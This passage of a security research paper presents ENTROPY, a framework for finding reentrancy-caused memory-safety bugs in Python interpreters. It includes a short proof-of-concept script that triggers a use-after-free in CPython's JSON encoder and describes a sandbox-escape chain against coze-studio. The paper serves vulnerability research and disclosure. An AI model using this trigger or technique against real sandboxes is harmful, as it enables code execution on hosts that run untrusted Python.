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Abstract—Python’s dynamic execution model allows user-
defined code—such as callbacks and special methods—to be
implicitly invoked in the middle of interpreter operations.
While useful, this flexibility also introduces a new class of
interpreter-level vulnerabilities: nested execution may violate
core interpreter invariants, such as object liveness, type safety,
and state consistency, that the outer operation relies on. Such
violations can manifest as use-after-free, type confusion, and
out-of-bounds access, leading to exploitable conditions. We
term this vulnerability class Reentrant Interpretation Vulner-
abilities (RIVs), which, to our knowledge, no prior work has
systematically studied before. The fundamental challenge in
detecting RIVs lies in modeling how data integrity assumptions
can be invalidated across reentrant execution boundaries.
Existing approaches fail to address this challenge: traditional
static analyses cannot reason about the effects of reentrant
execution, which depend on user-provided Python code, while
dynamic techniques such as fuzzing struggle to generate inputs
that trigger the deep yet semantically constrained interpreter
states where RIVs occur.

We design ENTROPY, the first framework for systemat-
ically studying and detecting RIVS in Python interpreters.
First, ENTROPY statically analyzes interpreter implementa-
tions, to identify reentrancy sites, tracks data dependencies that
cross reentrant executions, and determine which integrity as-
sumptions may be invalidated by reentrant execution. Then, to
dynamically validate these findings, ENTROPY leverages large
language models to synthesize proof-of-concept Python exploits
and iteratively confirms exploitability by executing them in the
target interpreters. In evaluation, we apply ENTROPY to widely
used Python interpreters, including CPython, MicroPython,
and RustPython, discovering 114 zero-day RIVS. Among them,
62 have been confirmed, and we had verified patches for 41
by the paper’s reporting cutoff. CPython developers noted
that our reports were very useful. We further demonstrate the
real-world impact with an exploit leveraging a discovered RIV
in CPython to bypass a language-based sandbox and achieve
arbitrary code execution in coze-studio, a high-impact AI agent
platform by ByteDance, which has since acknowledged the
issue and deprecated the affected components.

1. Introduction

Python interpreter vulnerabilities are important and may
lead to severe consequences, especially because Python,
the most-used language on GitHub in 2024 [1]], is widely
used in many language-level sandbox systems that execute
third-party, untrusted code—such as web services, data sci-
ence platforms, and restricted execution environments in
Al agent frameworks [2]-[4]. Specifically, these sandbox
systems restrict language-level features—such as accessible
modules, built-in functions, and object attributes—so that
third-party code does not have the same privilege as native
code. Therefore, exploitation of Python interpreter vulner-
abilities will bypass language-level restrictions altogether,
enabling arbitrary behavior in sandboxed environments and
threatening the security of all dependent applications.

While prior works [S]-[[7]] have studied the detection of
general language interpreter vulnerabilities, one critical yet
understudied class of Python interpreter vulnerabilities—
first proposed in this paper—is called Reentrant Interpre-
tation Vulnerabilities (RIVS). The root cause of RIVS
is that the Python interpreter, while interpreting Python
code, triggers another nested Python code interpretation—
e.g., through object protocol methods (like __getattr__,
__del_ ), library function callbacks, or dynamically dis-
patched methods—before finishing the current code, thus
defined as a reentrant interpretation. Since reentrant inter-
pretation breaks the atomic assumption of Python interpre-
tation, some critical integrity about intermediate interpreter
state—e.g., object ownership, type invariants, and resource
lifetimes—could be violated by the new Python code poten-
tially controlled by an adversary, thus leading to a variety
of consequences like use-after-free, type confusion, out-of-
bounds access, and denial-of-service (DoS).

Prior reentrancy vulnerability studies mainly focus on
smart contracts [8]]—[12], where reentrant external contract
calls cause draining-of-funds attacks that are fundamen-
tally different from RIVS in language, triggering con-
ditions, and manifestations. In broader software security,
reentrancy-related weaknesses have been recognized by
Common Weakness Enumeration (CWE) entries [13]], [14].
The closest one to RIVS describes function-level reen-
trancy, where a call believed to be reentrancy-safe unex-



pectedly invokes non-reentrant code [14]. However, RIVS
arise when interpreter-level reentrancy triggered by user-
provided Python code fails to preserve native interpreter-
state assumptions. Even this most closely related weakness
remains underexplored: its CWE entry lists only two docu-
mented observed examples, no additional Common Vulner-
abilities and Exposures (CVE) records annotated with this
CWE, and, to our knowledge, there is no prior work that
systematically studies it.

Existing works on general Python interpreter vulnera-
bility detection face fundamental challenges in detecting
RIVs. On the one hand, existing static analyses of Python
interpreters are limited to reasoning about interpreter code
and cannot model the effects of reentrant interpretation,
which invokes user-provided Python code that is unknown
at analysis time. For example, according to our empirical
study of existing static analyzers, including CodeQL [/15],
Clang Static Analyzer [16], Infer [[17]], Cppcheck [18]], and
Flawfinder [19], none of them report any RIVS. On the
other hand, dynamic approaches such as fuzzing, whether
mutation-based [20]-[22]], grammar-based [23]], [24], spec-
guided and IR-based [J5], [25], or LLM-based [6]], [7], strug-
gle to reach the deep interpreter states where RIV'S manifest.
This is fundamentally because the payload must be carefully
crafted such that the methods and callbacks invoked at
reentrant call sites invalidate integrity assumptions across
reentrancy boundaries. None of the five evaluated interpreter
fuzzers detected any RIVs under the tested configurations
and time budgets (Section [5.5). These fuzzers were not de-
signed specifically for RIV detection. This result illustrates
the difficulty of RIV discovery under these settings.

In this paper, we design and implement ENTROPY, the
first framework for systematically detecting Python reentrant
interpretation vulnerabilities. Our key insight is to identify
data-flow dependencies that cross reentrant interpretation
boundaries and determine whether reentrant Python inter-
pretation can violate the integrity assumptions required by
later interpreter operations. ENTROPY synthesizes exploits
using large language models (LLMs) based on the identified
reentrant interpretation path to confirm the vulnerability.

Specifically, ENTROPY operates in four steps. First, it
performs reentrancy-aware static analysis of interpreter im-
plementations to identify reentrancy sites, which are pro-
gram points where execution may reenter Python code.
Second, ENTROPY tracks data dependencies that cross reen-
trant boundaries and constructs cross-reentrancy paths from
user-controlled runtime objects to later native operations.
Third, ENTROPY infers the integrity assumptions required
along these paths and identifies potential violations where
reentrant interpretation may compromise object ownership,
type safety, resource lifetime, or bounds safety. Fourth,
to validate these potential vulnerabilities, ENTROPY em-
ploys LLM-guided exploit synthesis: it generates proof-of-
concept Python programs that exercise the identified cross-
reentrancy paths and iteratively refines them through dy-
namic execution feedback until exploitability is confirmed.

We apply ENTROPY to Python interpreters including
CPython, MicroPython, and RustPython. Our evaluation

reveals that reentrant interpretation vulnerabilities are preva-
lent and systematic across these interpreters. In summary,
ENTROPY discovers 114 previously unknown vulnerabilities
affecting core interpreter operations, including object proto-
cols, built-in functions, and commonly used standard mod-
ules. Developers have acknowledged 62 of these vulnerabil-
ities, and we had verified 41 patches by the paper’s reporting
cutoff. The other reports are pending a response. We further
establish the real-world security impact of RIVs through
concrete exploitation. Using a CPython RIV discovered by
ENTROPY, we develop an exploit that achieves sandbox
escape and arbitrary code execution in coze-studio [4], an
Al agent platform by ByteDance with 21k GitHub stars.
The vulnerability enables an attacker to bypass language-
based isolation mechanisms by exploiting reentrancy during
object destruction, ultimately gaining control of the inter-
preter process. The patch for this vulnerability has been
merged into all affected CPython versions 3.13 through 3.15,
highlighting both the severity of reentrancy vulnerabilities
and the practical impact of our work.

Contribution. In summary, we make the following contri-
butions:

e We present the first systematic study of reentrant inter-
pretation vulnerabilities (RIVs), where nested Python in-
terpretation breaks integrity assumptions about interpreter
state relied on by the interrupted interpretation.

e We design ENTROPY, a novel reentrancy-aware integrity
analysis framework that (i) tracks cross-reentrancy data
flows, (ii) infers integrity constraints on interpreter vari-
ables, (iii) identifies constraint violations enabled by reen-
trant interpretation, and (iv) validates candidates via LLM-
guided PoC synthesis with dynamic feedback.

e We demonstrate the prevalence and severity of RIVs
by applying ENTROPY to CPython, MicroPython, and
RustPython, discovering 114 previously unknown wvul-
nerabilities with 62 confirmed and 41 patches verified
by the paper’s reporting cutoff. We further demonstrate
real-world impact through a sandbox escape exploit in a
popular Al agent platform.

2. Overview

In this section, we define Reentrant Interpretation Vul-
nerabilities (RIVs) (§2.1)), give a motivating example (§2.2)),
outline the detection challenges and our solutions (@, and
present our threat model (§2.4).

2.1. Reentrant Interpretation Vulnerability

Bytecode Execution. Python interpreters typically execute
programs by first compiling source code into bytecode and
then interpreting this bytecode in a virtual machine. The
compiled bytecode serves as an intermediate representation
composed of stack-based instructions, each consisting of
an opcode and its operands. During execution, a virtual



machine repeatedly fetches bytecode instructions and dis-
patches them in an evaluation loop. For most computation-
related instructions, the corresponding opcode implemen-
tation pops operands from the value stack, performs an
operation whose semantics may depend on runtime types,
and pushes the result back onto the stack before execution
proceeds to the next instruction.

Reentrant Interpretation. At the bytecode level, opcode
handlers are treated as logically atomic execution steps.
While in practice, their implementations may execute mul-
tiple internal operations and, importantly, can invoke nested
Python bytecode execution before completing, a behavior
we refer to as reentrant interpretation. Such reentrancy in
Python interpreters arises through several mechanisms. First,
object protocol methods (e.g., _ _getattr_ ,__del_ |,
and ___repr__) may execute user-defined Python code as
part of attribute access, object destruction, or representation.
Second, library functions may invoke overridden or user-
provided implementations, such as monkey-patched func-
tions or dynamically dispatched methods. Third, an opcode
handler can invoke callback functions that are supplied as
arguments.

RIV Definition. Consider an execution of a bytecode han-
dler H over interpreter state o, a Reentrant Interpretation
Vulnerability (RIV) exists if there are three program points
in the execution of H: assumption point p,, reentrancy point
pr, and use point p,, ordered as p, < p, < py, such that
the following conditions hold.

e (C1) Integrity assumption. At p,, H obtains or derives
an interpreter-state element s € o. A later operation at
py is safe only if an integrity property ¢(s) continues
to hold. The property may concern object liveness, non-
nullness, type consistency, bounds validity, lock state, or
other interpreter invariants.

e (C2) Reentrancy. At p,., before H reaches p,, reentrant
interpretation happens. The program control is transferred
to Python-level code whose behavior can be influenced by
an adversary.

e (C3) Cross-reentrancy clobberability. The reentrant ex-
ecution can transform the interpreter state from o to o’
such that ¢(s) no longer holds in ¢’

Together, these conditions characterize a vulnerability
in which a reentrant interpretation invalidates an integrity
assumption. Depending on which property is invalidated, the
vulnerability may manifest as use-after-free, type confusion,
out-of-bounds access, null dereference, deadlock, or other
interpreter-level failures.

2.2. A Motivating Example

We show a reentrant interpretation vulnerability that
leads to use-after-free, discovered by ENTROPY in
CPython’s standard JSON encoder module. The vulner-
ability arises in the dictionary serialization logic of the
json module, where a reentrant callback invoked during

import json
entries = [("1337", object())]

class BadDict (dict):
def items (self):
# Reentrant #1: Return entries instead of real
dict items
return entries

AU WN e

9 def bad_encoding_cb(_):

10 # Reentrant #2: Clear entries during iteration
11 entries.clear ()

12 return ''

13

14 encoder = json.encoder.c_make_encoder (

15 None, lambda o: 0, bad_encoding_cb,

16 None, ": ", ", ", False, False, True)
17 encoder (BadDict (a=1), 0) # Trigger: Call encoder_impl
in CPython

Listing 1: Python code: A proof-of-concept for the RIV in
CPython’s implementation for encoder that leads to use-after-
free.

1 static PyObject x
2 encoder_impl (PyObject xo0, PyObject xargs, PyObject
*kwds)

4 PyObject xdct = GetArg0O(args, kwds);
5 PyObject xitems;
6

7 if (PyObject_HasAttr (dct, &ID("items"))) {

8 /* Reentrant site #1: call user-defined items() x/
9 items = PyObject_CallMethodNoArgs (dct,
&ID("items"));
10 } else {
11 items = New_PyList_From_Dict (dct);

12 }

14 for (Py_ssize_ t i=0; i<PyList_GET_SIZE (items); i++) {

15 PyObject xitem = PyList_GET_ITEM(items, 1i);

16 PyObject xkey = PyTuple_GET_ITEM(item, 0)

1 PyObject xvalue = PyTuple GET_ITEM(item, 1)

19 + value->ob_refcnt++; // Py_INCREF (value)

20

21 /* Reentrant site #2: call encoder callback x/

22 PyObject xencoded_key =
PyObject_CallOneArg(o->encoder, key);

24 /* Crash site: value may already be freed */

25 if (value->ob_type == &PyUnicode_Type) { /*...x/ }
26 }

27}

Listing 2: C code: CPython’s implementation of encoder that
is vulnerable to reentrant interpretation.

iteration can free objects that are still being accessed by the
interrupted iteration loop. By crafting a dictionary subclass
and a custom encoding callback, an attacker can exploit
this reentrancy to trigger memory corruption. We further
demonstrate a full exploit chain that exploits it and achieves
sandbox escape, in a high-impact application maintained
by ByteDance [4]. The issue affects Python versions 3.13
through 3.15. We responsibly disclosed this vulnerability to
the CPython development team and coze-studio maintainers,
both of whom have fixed the vulnerability.

Vulnerability Details. Listing [2] shows CPython’s vulnera-
ble implementation of the encoder function in Python’s
standard json library, which performs JSON serializa-
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tion for dictionary objects. The CPython’s implementation,
encoder_impl, contains two reentrancy sites (lines 9
and 22) and a crash site where the use-after-free occurs
(line 25). The function begins by fetching dct from args,
which is a dictionary subclass defined in Python that is
passed in as an argument of encoder (line 4). Then, the
code obtains the dictionary’s key-value pairs using either
user-overridden items () method or a default one (line 7-
12). Specifically, if items () is overridden, the code calls
the dictionary’s user-defined items () method during the
call of PyObject_CallMethodNoArgs at line 9. This
constitutes the first reentrancy site. The code then iter-
ates over the returned list (line 14), extracting each key-
value pair from the tuple elements (lines 16-17). During
key encoding (line 22), the code invokes a user-provided
encoding callback via PyObject_CallOneArg, intro-
ducing the second reentrancy site. At line 25 the code
visits value—>ob_type, serving as the final crash site
if value is freed. A patch for this vulnerability is shown
at line 19 and will be explained later.

Listing [T] shows a proof-of-concept exploit in Python
that triggers the vulnerability through three carefully crafted
components: (1) BadDict (lines 4-7), a dictionary sub-
class with an overridden items () method that will be
called at the first reentrancy site, (2) bad_encoding_cb
(lines 9-12), a custom encoding callback that will be called
at the second reentrancy site, and (3) an encoder in-
stance (lines 14-16) configured with these malicious com-
ponents. With these components as setups, line 17 finally
triggers CPython’s vulnerable encoder_impl by invoking
encoder on a BadDict instance. In detail, the BadDict
class overrides items () to return the attacker-controlled
list entries (line 2) instead of the dictionary’s actual
contents. The bad_encoding_cb function (lines 9-12)
serves as the malicious encoding callback that will be in-
voked at the second reentrancy site. When called during key
encoding, it clears the entries list (line 11), deallocating
the tuple and its elements while encoder_impl is still
iterating, triggering the use-after-free and causing a crash.

Root Cause. We point out that the root cause of this reen-
trancy vulnerability is that interpreter’s opcode handlers rely
on implicit runtime-state assumptions that break under reen-
trant execution. Specifically, in Listing [2] encoder_imp1l
assumes that the list items and its tuple elements re-
main valid throughout the iteration (lines 14-26), while the
two reentrancy sites together break this assumption. At the
first reentrancy site (line 9), the user-provided items ()
makes the returned items fully-controllable at the Python
land, which can be further manipulated at the second reen-
trancy site. At the second reentrancy site (line 22), the
bad_encoding_cb clears the items while the CPython
code is still iterating it, causing the handler to subsequently
access freed objects (line 25). While this particular bug
manifests as a use-after-free, reentrancy vulnerabilities can
lead to various other security issues depending on which
runtime assumptions are violated. These include type con-
fusion (when type invariants are invalidated), null pointer
dereferences (when object validity assumptions break), out-
of-bounds access (when bounds assumptions are violated),
and deadlocks (when lock state assumptions fail). We sys-
tematically characterize these different manifestation pat-
terns in §3

Exploitation and Impact. We exploit this interpreter reen-
trancy vulnerability to bypass a language-based sandbox in
coze-studio [4] and achieve arbitrary code execution. Coze-
studio [4] is an Al agent development platform with over
21K GitHub stars. It implements a Python sandbox based
on RestrictedPython [26] that restricts execution to a subset
of Python using a blacklist-based policy, excluding modules
like os, subprocess, as well as built-in functions like
eval. Starting from the reentrancy-caused use-after-free,
we further developed an exploit that achieves arbitrary mem-
ory read and write primitives. We use these primitives to leak
process addresses and invoke the system function from
glibc, achieving arbitrary os command execution despite
the sandbox restrictions. The full exploit chain is available
in Appendix [B] We responsibly disclosed our findings to
coze-studio developers, who acknowledged the severity of
the sandbox bypass and have since deprecated the vulnerable
sandbox implementation.

2.3. Challenges and Solutions

Challenges: Reentrancy Effect Analysis. The fundamental
challenge in detecting RIVS lies in reasoning about the
effects of unknown user code on interpreter state during
reentrant execution. More specifically, how potential user
code in reentrant execution can violate integrity assump-
tions across reentrancy boundaries. Consider the example
in Listing [2} the challenge is determining whether the two
reentrancy sites at line 9 and line 22 can break any data
integrity before and after, e.g., the validity of value, to
cause memory access error. No previous static or dynamic
analysis can reason about this and thus cannot detect RIVS.

Existing static analysis takes interpreter implementa-
tion (C/C++/Rust code) as the input, while the Python



code invoked during reentrant execution is only provided
later by end users. Consider analyzing encoder_impl
in Listing 2] A traditional static analyzer sees calls
like PyObject_CallMethodNoArgs () at line 9 and
PyObject_CallOneArg () at line 22, but without
knowledge of the proof-of-concept code in Listing [I] it
cannot reason about the possible effect these reentrant calls
can have on the interpretation state. One might consider
conservatively modeling all possible Python operations at
each reentrancy site, by enumerating all opcode handlers
and built-in functions. But this leads to intractable state
explosion.

On the other hand, dynamic analysis such as fuzzing
struggles to generate Python code with the complicated,
carefully crafted logic needed to trigger RIVS. For ex-
ample, in the proof-of-concept in Listing [I] the over-
ridden items () method (line 5) in BadDict and the
bad_encoding_cb () callback (line 8), must work to-
gether, with one controlling the returned object, and the
other manipulating a shared object, to violate integrity as-
sumptions and finally lead to a use-after-free.

Our Solution: Reentrancy-aware Integrity Analysis. To
model how data integrity assumptions are violated across
reentrancy boundaries, ENTROPY performs reentrancy-
aware integrity analysis. Specifically, ENTROPY starts by
identifying execution paths that go across reentrancy sites,
and extracting integrity constraints that must hold before
and after the reentrant sites. ENTROPY then determines
whether the in-between reentrant execution could violate
these constraints, by analyzing what operations the reentrant
code could perform. Finally, ENTROPY uses the analysis
results to guide automated exploit generation.

We illustrate this approach using the example in List-
ing [2| ENTROPY first identifies the two reentrancy sites at
lines 9 and 22 where user-provided code can execute. It then
traces how data flows across these reentrancy boundaries:
the return value from the first reentrancy (line 9) is used
to create value (line 17), which is later dereferenced
(line 25) after the second reentrancy (line 22). From this
cross-reentrancy path (line 17 to line 22), ENTROPY infers
that value must remain valid between creation and use,
but the intervening reentrancy (line 22) could invalidate this
constraint by dropping its last reference in the program. This
analysis output guides exploit generation: the synthesized
exploit must clear the container object during the second
reentrancy to trigger the use-after-free.

2.4. Threat Model

Consistent with prior work [7], [25], [27]-[32], our
threat model assumes that an attacker can execute arbitrary
Python code to exploit Python interpreter bugs. Interpreter
bugs can lead to severe consequences, e.g., arbitrary na-
tive code execution, in numerous real-world applications
that allow execution of untrusted Python code and rely on
language-based sandboxes for security.

With the growing deployment of Al agent platforms [2],
[33]], [34], collaborative notebook environments [35[], [36],

and serverless computing systems [37]], untrusted scripts
are increasingly being executed in production environments.
These untrusted scripts may come from malicious users
or outputs of LLMs via prompt injection. To isolate such
untrusted code, many applications adopt language-based
sandboxes [38], [39] due to their lightweight nature and
efficient data sharing compared to process-level isolation
mechanisms. These sandboxes employ protection mecha-
nisms including AST-based validation and rewriting [40]]—
[42], custom Python-based AST interpretation [2], [[43],
[44]], runtime monitoring via system hooks [45]], and module
unlinking [46].

Notably, interpreter memory corruption vulnerabilities
can bypass these protections, as they operate below the
language-level security boundaries. Exploiting such vulner-
abilities can lead to denial of service by hard crashing
remote services, sandbox escape to achieve arbitrary native
code execution, and cross-tenant attacks in multi-tenant
environments like serverless platforms, where one tenant
can compromise others. Our research, therefore, aims at
identifying vulnerabilities in interpreter engines to prevent
such potential attacks.

3. Methodology

We now present ENTROPY, whose high-level architec-
ture is illustrated in Figure 2] ENTROPY is a two-stage
approach that combines static analysis (§3.1) with LLM-
based agentic exploit synthesis (§3.2) to detect RIVs in
Python interpreters.

3.1. Reentrancy-aware Integrity Analysis

ENTROPY performs reentrancy-aware integrity analysis
in three steps: identifying user-controlled reentrant execution
(§3.1.1)), performing cross-reentrancy path analysis (§3.1.2)),
and analyzing whether reentrant execution can violate in-
tegrity constraints along the cross-reentrancy paths (§3.1.3).

3.1.1. Reentrancy Analysis. This section presents EN-
TROPY’s reentrancy analysis. The analysis first identifies
candidate reentrant APIs, i.e., interpreter APIs that may
reenter Python execution. It then uses taint-flow analysis
to determine which of these APIs can be triggered by user-
controlled Python runtime objects.

Candidate Reentrant API Identification. To identify can-
didate reentrant APIs, ENTROPY dynamically executes the
Python interpreters’ test suites provided in their official
documentations under lightweight instrumentation. Each
invocation of the interpreter’s evaluation interface (e.g.,
PyEval_EvalFrame in CPython) signals reentrant in-
terpretation, where the interpreter begins evaluating Python
code during an ongoing bytecode interpretation. For each
such invocation, ENTROPY walks up the native call stack
and extracts the enclosing API entry points that is the
first indirect call, which may trigger reentrant execution.
ENTROPY collects these entry points as candidate reentrant
APIs for subsequent analysis.
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Figure 2: ENTROPY architecture.

We classify the candidate reentrant APIs into four cat-
egories based on how native interpreter execution reen-
ters Python code: (i) slot-based dispatch, where polymor-
phic operations dispatch to overridable special methods
(e.g., __add__, _ getattr__ ); (ii) reflected dispatch,
where methods are resolved via dynamic name lookup (e.g.,
dict.items ()); (iii) callback invocation, where a native
API executes a callback supplied as an argument at runtime;
and (iv) asynchronous hooks and signals, where registered
handlers such as tracing hooks or weakref callbacks are
invoked asynchronously.

Under-constrained Reentrant Flows. Since reentrant calls
are commonly indirect, their behavior must be analyzed in
a flow-sensitive manner to determine whether they originate
from user-accessible objects—which can invoke arbitrary
user-provided code—or from internal variables—which can
only resolve to built-in interpreter implementations. We term
a data-flow path that reaches a candidate reentrant API a
reentrant flow, and further call it under-constrained when
the path starts from user-accessible objects and reaches the
function pointer or call arguments, allowing the API to
invoke user-provided code. ENTROPY performs taint flow
analysis to identify such under-constrained flows among
candidate reentrant APIs. In this section, we first describe
how ENTROPY identifies taint sources from three user code
entry mechanisms, then explain taint propagation to candi-
date reentrant APIs.

First, Python’s bytecode execution model fundamentally
determines how user-controlled data enters interpreter exe-
cution, resulting in three access mechanisms. These mech-
anisms are universal across different interpreter implemen-
tations: (i) opcode handler invocations, where handler argu-
ments carry operands of user-provided Python expressions,
(ii) Python global namespace lookups, where global vari-
ables accessed via thread state or module namespaces can
be user-modified, and (iii) reentrant call returns, where the
interpreter receives objects from user-defined code.

We now explain how ENTROPY identifies each of the
three access mechanisms and the corresponding taint source
in interpreters’ implementation.

e Opcode handler invocations. ENTROPY identifies opcode
handlers by analyzing the interpreter’s main evaluation
loop, which is typically implemented as a large switch
statement or computed-goto dispatch table. ENTROPY
decomposes this loop into per-bytecode instruction cases
and treats native functions invoked within each case as
opcode handlers. The arguments of these opcode handlers
are treated as taint sources. In addition, some bytecode
instructions further dispatch to functions outside the main
evaluation loop, such as native implementations of built-
in types and standard modules. ENTROPY resolves these
routines by analyzing runtime metadata that maps Python
language operations to their native implementations, and
likewise treats them as opcode handlers.

e Python global namespace lookups. Python interpreters
maintain global namespaces across bytecode executions,
such as module dictionaries and thread-specific state.
Since these namespaces may contain user-modifiable ob-
jects, ENTROPY treats native APIs that retrieve values
from them as taint-source APIs. ENTROPY identifies na-
tive functions that perform such lookups, e.g., accesses
to the module registry or thread-specific dictionaries, and
marks their return values as tainted when the underlying
namespace is user-modifiable.

e Reentrant call returns. Since reentrant calls execute arbi-
trary user-defined code, their return values are treated as
taint sources. ENTROPY handles these sources iteratively.
In the first pass, ENTROPY uses only opcode handler
arguments and global namespace lookups as taint sources
to identify reentrant sinks. In each subsequent pass, return
values from newly identified reentrant sinks are added as
taint sources, allowing ENTROPY to discover additional
reentrant sinks. The analysis repeats until it reaches a fixed
point, where no new reentrant sinks are identified. This



enables detection of chained reentrancy, where the output
of one reentrant call triggers another reentrant call.
Second, given the sources and sinks, ENTROPY tracks
tainted values using propagation rules tailored for interpreter
execution.

e Object-field propagation. When a user-controlled Python
object is accessed or operated on by the interpreter, values
derived from that object may also be user-influenced,
including fields, contained elements, and method return
values. Therefore, ENTROPY conservatively propagates
taint from a tainted object to values obtained through field
accesses and object-manipulating operations.

e Dispatch-aware propagation. Interpreter execution often
passes values through dispatch layers before reaching
the concrete implementation of a language operation.
ENTROPY handles such dispatch boundaries by linking
arguments passed into dispatch interfaces to the corre-
sponding parameters of the resolved implementations,
allowing taint to flow across runtime dispatch paths.

The final result of the reentrancy analysis is a set of taint
flows in which user-controlled Python runtime objects reach
reentrancy sinks, indicating that user-controlled inputs can
trigger reentrant execution.

3.1.2. Cross-reentrancy Path Analysis. We define a cross-
reentrancy path as a control-flow path along which a value
originating from a user-controlled runtime object flows
across a user-controlled reentrant execution and is subse-
quently used—either directly or through derived values—at
an operation that requires integrity constraints. To identify
such paths, ENTROPY formulates the problem as a flow
overlap analysis that determines whether under-constrained
reentrant flows and integrity-constrained taint flows can be
composed into a feasible control-flow path, as shown in
Figure [3] The two flows are independent and may share no
data-flow nodes, but they must overlap in control flow so
that reentrant execution can affect a later integrity-sensitive
operation. We next describe integrity-constrained flows and
then present our flow overlap analysis.

Integrity-constrained Taint Flows. An integrity-
constrained taint flow is a value flow from a user-accessible
runtime object to an integrity sink, whose safe execution
relies on a specific integrity constraint. Since reentrant
execution can only modify Python runtime objects
accessible to user code, we restrict the sources of such
flows to values originating from those objects. Specifically,
we consider the following representative integrity sinks:
(1) pointer safety sink: pointer dereference and memory
access, which require liveness and non-nullness, (ii) fype
safety sink: type casts and type-dependent field accesses,
which require type integrity, (iii) bounds safety sink: array
indexing and size-based memory operations, which require
bounds integrity, and (iv) lock safety sink: lock acquisition
operations, which require lock integrity. We leverage the
same flow steps as in reentrancy flow analysis and perform
a taint flow analysis to identify all flows from these sources
that reach integrity sinks.

Flow Overlap Analysis. Given the under-constrained reen-
trant flows and the integrity-constrained taint flows, EN-
TROPY employs a reachability-based algorithm to efficiently
determine whether overlapping control-flow paths exist and
to output. The algorithm is shown in Appendix [C|

First, we extract the interprocedural control-flow graph
and map each data-flow node to its corresponding live basic
block, yielding an ordered block sequence for each integrity-
constrained data flow (/) and each reentrancy data flow (R).
For data-flow nodes without direct control-flow counterparts
(e.g., function parameters), we conservatively map them
to appropriate enclosing control-flow blocks, such as the
function entry.

Next, to identify such overlapping control-flow paths, a
naive approach would first enumerate all control-flow paths
that visit every block in [ in order, then enumerate all paths
that visit every block in R in order, and finally check which
paths from these two sets overlap. However, this is computa-
tionally prohibitive: finding all paths between two nodes in
a graph has exponential time complexity in the worst case.
For large codebases like CPython, the enumeration process
for a single dataflow can be extremely long and time out
directly, let alone the subsequent intersection step.

ENTROPY addresses this problem through a sequence
merging approach. The key insight is that any overlapping
control-flow path must preserve the relative order of blocks
in both sequences, and the integrity block sequence I serves
as a fixed backbone with |I| > |R|. Therefore, instead of
enumerating paths, we directly construct merged sequences
by determining valid insertion positions for blocks from R
into I. Specifically, for each block R[k] in sequence, we
consider insertion positions in I starting from the position
where R[k — 1] was inserted to preserve ordering. If the
block to be inserted already exists at a candidate position,
either as the preceding or following block, insertion at that
position is skipped. When R and I share the same terminal
block, ENTROPY ensures the reentrant call appears before
the integrity sink in the block’s instruction sequence. A
position is valid if reachability constraints are satisfied: there
must exist paths from the preceding block to the inserted
block and from the inserted block to the following block.
By precomputing all-pairs reachability in polynomial time,
ENTROPY can validate each insertion position in O(1) time.
Finally, for each valid merged sequence, we concretize it
into the shortest control-flow path that realizes both data-
flow sequences.

3.1.3. Variable Integrity Analysis. We identify five classes
of integrity constraints analyzed by ENTROPY. For each
class, we define a clobberability predicate that characterizes
how ENTROPY identifies potential integrity violation paths
and a set of clobbering mechanisms that describe how such
violations can be realized through reentrant execution.

Liveness Integrity. Memory accessed through a pointer
must remain alive at the point of access.

Clobberability Predicate. A pointer is liveness-
clobberable if: (i) the pointer refers to a runtime object
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Figure 3: Illustration of flow overlap analysis.

or a field of a runtime object that resides along a cross-
reentrancy path, (ii) the pointer flows to a pointer safety
sink, and (iii) there is no counter-increment operation
performed on the runtime object along the control-flow
path prior to the reentrant call.

Clobbering Mechanisms. (i) Dropping container own-
ership: A reentrant call can access a container object on
which the pointer at the sink is data-dependent and drop its
ownership by clearing containers (clear ()) or replacing
contents that held the last strong reference. This triggers
garbage collection and frees the runtime object that the
pointer at the sink refers to. (ii) Invoking memory-mutating
operations: A reentrant call can invoke builtin methods,
such as resizing (resize ()) or reinitialization (init ()),
on a runtime object on which the pointer at the sink is
data-dependent. These operations free or reallocate internal
storage, invalidating the memory that the pointer at the sink
refers to.

Null-safety Integrity. A pointer used at a dereference site
after a reentrant call must be non-NULL.

Clobberability Predicate. A pointer is NULL-clobberable
if: (1) the pointer refers to an internal field of a runtime
object that resides along a cross-reentrancy path subsequent
to a reentrant call, (ii) the pointer flows to a pointer safety
sink, and (iii) there is no pointer validation performed along
the control-flow path prior to the sink.

Clobbering Mechanisms. (i) Releasing internal re-
sources: Stateful objects expose lifecycle methods to man-
age internal state. A reentrant call can exploit these methods,
such as close () in SQLite connections, to nullify internal
fields that the pointer at the sink refers to. (ii) Exception-
induced NULL propagation: A reentrant call can synthesize
reentrant code that throws an exception. This causes the
function to signal failure and propagate a NULL return value
on which the pointer at the sink is data-dependent.

Bounds Integrity. A memory access must remain within
the valid bounds of the memory region associated with the
accessed object.

Clobberability Predicate. A memory access is bounds-
clobberable if: (i) a numeric value is data-dependent on a
runtime object that resides along a cross-reentrancy path
subsequent to a reentrant call, (ii) the numeric value flows
to a bounds safety sink, and (iii) there is no bounds check or

validation constraining the numeric value along the control-
flow path prior to the sink.

Clobbering Mechanisms. (i) Access-parameter manipu-
lation: A reentrant call can supply an out-of-bounds nu-
meric value on which the numeric value at the sink is
data-dependent, and the value is subsequently used as an
index at the sink, leading to an out-of-bounds access. (ii)
Buffer reshaping: A reentrant call can mutate the run-
time object layout, such as shrinking buffers (pop () ), or
misleading memory allocation via deceptive bounds hints
(__length_hint__ ()), breaking the bounds assump-
tions at the sink.

Type Integrity. A memory operation must be performed on
an object whose dynamic type is consistent with the type
assumed by the accessing code.

Clobberability Predicate. A type assumption is clobber-
able if: (i) an object is data-dependent on a runtime object
that resides along a cross-reentrancy path subsequent to a
reentrant call, (ii) the object flows to a type safety sink, and
(iii) there is no type validation constraining the object along
the control-flow path prior to the sink.

Clobbering Mechanisms. (i) Return-type substitution: A
reentrant call can return a runtime object on which the
object at the sink is data-dependent, whose dynamic type
differs from the type assumed at the sink. (ii) Runtime-Type
Mutation: A reentrant call can mutate the dynamic type or
layout of runtime objects on which the object at the sink is
data-dependent via monkeypatching or class swapping.

Lock Integrity. A lock currently held by an execution
context must not be re-acquired in a conflicting mode before
it is released.

Clobberability Predicate. A lock usage is clobberable
if: (i) the lock is acquired along a cross-reentrancy path
preceding a reentrant call, (ii) the lock acquisition operation
belongs to lock safety sink and either enforces exclusive
ownership, or is involved in an exclusive-dependency pro-
tocol, and (iii) there is no intervening release or lock-state
validation constraining the lock along the control-flow path
between the lock acquisition and the reentrant call.

Clobbering Mechanisms. (i) Reacquisition of non-
recursive locks: A reentrant call can perform operations that
re-acquire the same non-recursive lock (e.g., a mutex) that
is already held at the sink. (ii) Acquisition of conflicting
locks: A reentrant call can perform operations that acquire an
exclusive lock (e.g., a write lock) that dictates a dependency
on the release of the shared lock (e.g., a read lock) that the
